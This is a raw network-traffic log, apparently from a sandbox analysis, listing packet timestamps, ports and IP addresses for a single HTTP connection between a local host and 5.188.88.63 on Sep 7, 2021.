Sep 7, 2021 16:02:39.532212973 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.532226086 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.532229900 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.532244921 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.532260895 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.532278061 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.532278061 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.532285929 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.532296896 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.532314062 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.532330036 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.532352924 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.532371998 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.532388926 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.532404900 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.532434940 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.532442093 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.532556057 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.595340967 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.595367908 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.595383883 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.595401049 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.595416069 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.595429897 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.595446110 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.595462084 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.595480919 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.595498085 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.595511913 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.595527887 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.595544100 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.595545053 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.595556974 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.595583916 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.595603943 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.595622063 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.595643044 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.595663071 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.595663071 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.595685959 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.595698118 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.595710039 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.595727921 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.595732927 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.595735073 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.595753908 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.595769882 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.595784903 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.595793009 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.595835924 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.595856905 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.596180916 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596199989 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596230030 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596250057 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596270084 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596288919 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596309900 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596318960 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.596330881 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596350908 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596368074 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596395016 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596434116 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596451044 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596471071 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596491098 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596501112 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.596510887 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596535921 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596544981 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.596559048 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596580029 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596596956 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596611023 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596626043 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596641064 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596656084 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596674919 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596692085 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596700907 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.596707106 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.596714020 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596731901 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596748114 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596762896 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596776962 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596791983 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596810102 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596827030 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596842051 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596857071 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596872091 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596888065 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596890926 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.596895933 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.596910954 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596927881 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596946001 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596962929 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596977949 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.596993923 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.597008944 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.597023010 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.597038031 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.597054005 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.597073078 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.597141981 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.597151995 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.597234964 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.597239971 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.597259045 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.597273111 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.597285032 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.597296953 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.597311974 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.597331047 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.597348928 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.597363949 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.597378969 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.597393990 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.597419977 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.597516060 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.597750902 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.597754955 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.597779989 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.597799063 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.597815037 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.597830057 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.597848892 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.597862959 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.598026037 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.598290920 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.598324060 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.598331928 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.598340988 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.598393917 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.598443031 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.598537922 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.598555088 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.598567963 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.598579884 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.598599911 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.598661900 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.598679066 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.598695040 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.598710060 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.598725080 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.598797083 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.598808050 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.598874092 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.598898888 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.598915100 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.599019051 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.599029064 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.599951982 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.599975109 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.600045919 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.600059032 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.616662979 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.616691113 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.616710901 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.616730928 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.616765976 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.616830111 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.616847992 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.617140055 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.617207050 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.617244959 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.617295980 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.617316961 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.617391109 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.617412090 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.617432117 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.617455006 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.617464066 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.617541075 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.617868900 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.618330002 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.618352890 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.618372917 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.618391991 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.618416071 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.618439913 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.618459940 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.618479013 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.618510962 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.618524075 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.618527889 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.618860006 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.618885040 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.618904114 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.618923903 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.618942976 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.618973970 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.618988991 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.618993044 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.660773039 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.660805941 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.660835028 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.660857916 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.660887003 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.660907984 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.660927057 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.660949945 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.660979033 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.660984993 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.661007881 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.661007881 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.661037922 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.661065102 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.661077023 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.661082029 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.661098003 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.661125898 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.661154985 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.661183119 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.661184072 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.661190033 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.661216974 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.661247015 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.661274910 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.661307096 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.661320925 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.661326885 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.661333084 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.661360025 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.661387920 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.661416054 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.661434889 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.661442041 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.661444902 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.661468983 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.661492109 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.661518097 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.661523104 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.661525965 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.661540985 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.661569118 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.661619902 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.661623001 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.662204027 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.662234068 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.662293911 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.662326097 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.662344933 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.662363052 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.662378073 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.662383080 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.662384033 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.662401915 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.662425995 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.662447929 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.662455082 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.662462950 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.662470102 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.662497044 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.662520885 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.662544966 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.662573099 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.662664890 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.662698030 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.662708044 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.662746906 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.662775993 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.662794113 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.662822008 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.662848949 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.662873030 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.662899971 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.662923098 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.662952900 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.663062096 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.663163900 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.663223982 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.663258076 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.663283110 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.663316011 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.663338900 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.663362026 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.663395882 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.663403034 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.663428068 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.663451910 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.663475037 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.663496017 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.663521051 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.663522005 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.663527012 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.663544893 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.663567066 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.663589001 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.663600922 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.663604975 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.663610935 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.663630009 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.663687944 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.663692951 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.664140940 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.683518887 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.683542967 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.683603048 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.683621883 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.683732986 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.683815956 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.683820009 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.683864117 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.684005022 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.684082985 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.684134960 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.684319973 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.684374094 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.684390068 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.684408903 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.684468985 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.684484005 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.684504986 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.684518099 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.684534073 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.684537888 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.684551954 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.684570074 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.684622049 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.684653044 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.684673071 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.684699059 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.684729099 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.684745073 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.684760094 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.684773922 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.684799910 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.684813023 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.684876919 CEST	49744	80	192.168.2.4	5.188.88.63
